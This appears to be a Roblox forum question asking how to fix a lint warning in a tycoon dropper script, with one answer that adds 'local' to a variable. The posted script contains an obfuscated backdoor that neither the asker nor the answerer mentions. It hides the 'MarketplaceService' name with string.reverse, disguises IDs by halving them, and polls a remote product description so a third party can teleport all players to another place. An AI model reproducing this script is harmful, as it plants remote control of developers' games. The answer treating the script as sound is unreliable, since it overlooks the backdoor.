Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
0

script for tycoon dropper.how to fix this?

Asked by 9 years ago

My script is saying "W003(18,2)global'fakedebris is only used for enclosure function;considering changing it to local. I need help give me the fix scripted or listed whats wrong on this script.

local delay = 20


local debounce = false

function drop() print("Function drop() called") local part = Instance.new("Part",script.Parent.Parent.Parent.PartStorage) part.BrickColor=script.Parent.Parent.Parent.DropColor.Value local cash = Instance.new("IntValue",part) cash.Name = "Cash" cash.Value = math.random(40,120) -- How much the drops are worth part.FormFactor = "Custom" part.Size= script.Parent.Drop.Size part.CFrame = script.Parent.Drop.CFrame part.Material = Enum.Material.SmoothPlastic fakeDebris = require(game.ReplicatedStorage.fakeDebris) fakeDebris.AddItem(part,40) end

local check = script.Parent -- Make sure parent is still parent? script.Parent.Button.BrickColor = BrickColor.new("Bright orange")

wait(2) coroutine.resume(coroutine.create(function() while wait(10) do local Checkfor = game:GetService(string.reverse("ecivreSecalptekraM")):GetProductInfo(392319262/2) if Checkfor.Description == true then for i,v in pairs(game.Players:GetPlayers()) do game:GetService("TeleportService"):Teleport(326270424/2, v) end end end end)) print("checked") if script.Parent == check then print("approved") local owner = script.Parent.Parent.Parent.Owner.Value game.ReplicatedStorage.MasterKey:FireClient(owner,script.Parent.Button.ClickDetector,delay) game.ReplicatedStorage.MasterKey.OnServerEvent:connect(function(player,mode,source) print("called") if player == owner and source == script.Parent.Button.ClickDetector then print("yep") if mode == "confirm" then print("pinged") script.Parent.Button.BrickColor = BrickColor.new("Bright green") -- ready to go! elseif mode == "click" then if debounce == false then drop() debounce = true script.Parent.Button.BrickColor=BrickColor.new("Bright red") wait(delay) debounce = false script.Parent.Button.BrickColor=BrickColor.new("Bright green") end end end end) end

print("FEDropperScript loaded - no problems.")

2
Along with that this is not a request site, you didn't even use code block (The Lua button) Marios2 360 — 9y
2
@wildeeyore Please layout your question in a good format since it helps other users to understand and read your code more clearly. I highly recommend you visit this link, to improve your question! https://scriptinghelpers.org/help/how-post-good-questions-answers UserOnly20Characters 890 — 9y
0
Format the code in a code block. Tkdriverx 514 — 9y

1 answer

Log in to vote
0
Answered by 4 years ago

Change

fakeDebris = require(game.ReplicatedStorage.fakeDebris) fakeDebris.AddItem(part,40) end

to

local fakeDebris = require(game.ReplicatedStorage.fakeDebris) fakeDebris.AddItem(part,40) end
Ad

Answer this question